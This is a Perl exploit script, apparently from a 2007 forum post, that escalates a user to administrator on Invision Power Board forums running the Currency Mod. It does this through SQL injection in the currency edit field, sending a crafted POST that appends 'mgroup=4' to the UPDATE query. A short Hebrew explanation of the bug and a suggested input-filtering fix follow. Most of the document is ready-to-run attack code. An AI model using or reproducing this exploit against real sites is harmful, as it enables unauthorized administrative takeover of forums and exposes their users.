#!/usr/bin/perl
#########################################################################
# Invision Power Board Currency Mod(edit) SQL injection. #
# Bug found by Pr0T3cT10n, KamikaZ Security Team #
# The exploit is updating your user to an admin account #
# pr0t3ct10n@gmail.com , http://www.kamikaz-team.com #
# **YOU SHOULD HAVE CURRENCY EDIT ACCESS!** #
#########################################################################
use IO::Socket;
use Digest::MD5 qw(md5_hex);
$host = $ARGV[0];
$path = $ARGV[1];
$id = $ARGV[2];
$passwd = $ARGV[3];
if(!$ARGV[3])
{
print "#################################################\n";
print "## IPB Currency Mod SQL injection Exploit. ##\n";
print "## Discoverd By Pr0T3cT10n. ##\n";
print "#################################################\n";
print "$0 [host] [path] [your id] [your password]\n";
print "$0 host.com /forum 567 123456\n";
print "#################################################\n";
exit();
}
print "[~] Connecting $host:80...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp" ,
PeerAddr => $host ,
PeerPort => "80") or die("[-] Connection faild.\n");
print "[+] Connected.\n[~] Sending POST information...\n";
$pack.= "POST " . $path . "/index.php?act=modcp&CODE=docurrencyedit&memberid=" . $id . " HTTP/1.1\r\n";
$pack.= "Host: " . $host . "\r\n";
$pack.= "User-Agent: KamikaZ_Agent\r\n";
$pack.= "Accept: */*\r\n";
$pack.= "Cookie: member_id=" . $id . "; pass_hash=" . md5_hex($passwd) . "\r\n";
$pack.= "Keep-Alive: 300\r\n";
$pack.= "Connection: keep-alive\r\n";
$pack.= "Content-Type: application/x-www-form-urlencoded\r\n";
$pack.= "Content-Length: 24\r\n\r\n";
$pack.= "currency=1%20%2Cmgroup=4"; #UPDATE ibf_members SET currency=1 ,mgroup=4 WHERE id=’$id’
print $socket $pack;
while($res = <$socket>)
{
if($res =~ /<table align=’center’ cellpadding="4" class="tablefill">/)
{
print("[+] succeed.\n");
exit();
}
}
print("[-] Faild.\n");
exit();
אוקי, אני חושב שאני אסביר קצת על הבאג ודרך הניצול ותיקון.
אוקי, כאשר אתה בא למשתמש ועורך לו את הנקודות, השאילתא אמורה להתבצע כך:
קוד:
UPDATE ibf_members SET currency=1 WHERE id=’$id’
שימו לב, שאילתא זו תעדכן את כמוך הנקודות של המשתמש ל : 1.
אבל אם נכתוב כך (בעריכת נקודות) :
קוד:
1, mgroup=4
ה-mgroup זה הקבוצת משתמש, 4 זה ברירת מחדל ברוב הפורומים זה אדמין.
השאילתא תיהיה כך :
קוד:
UPDATE ibf_members SET currency=1, mgroup=4 WHERE id=’$id’
מה שבעצם יביא לעידכון של הקבוצה שבה המשתמש נמצא לקבוצה מספר 4 ואת כמות הנקודות של המשתמש ל-1.
אוקי, זה היה סיקור קטן על הבאג עצמו, ניצול? כל אחד יודע כמעט, הרצת קובץ PERL פשוט.
תיקון הבאג. בכדי לתקן את הבאג הינכם אמורים לחסום כל דבר אחר חוץ ממספרים, ולנסות לסנן תווים כמו פסיק, שווה, או כל דבר אחר שעולה בדעתכם שאפשר לעדכן איתו.
Pr0T3cT10n.[ההודעה נערכה על-ידי Pr0T3cT10n ב-06/04/2007 03:15:39]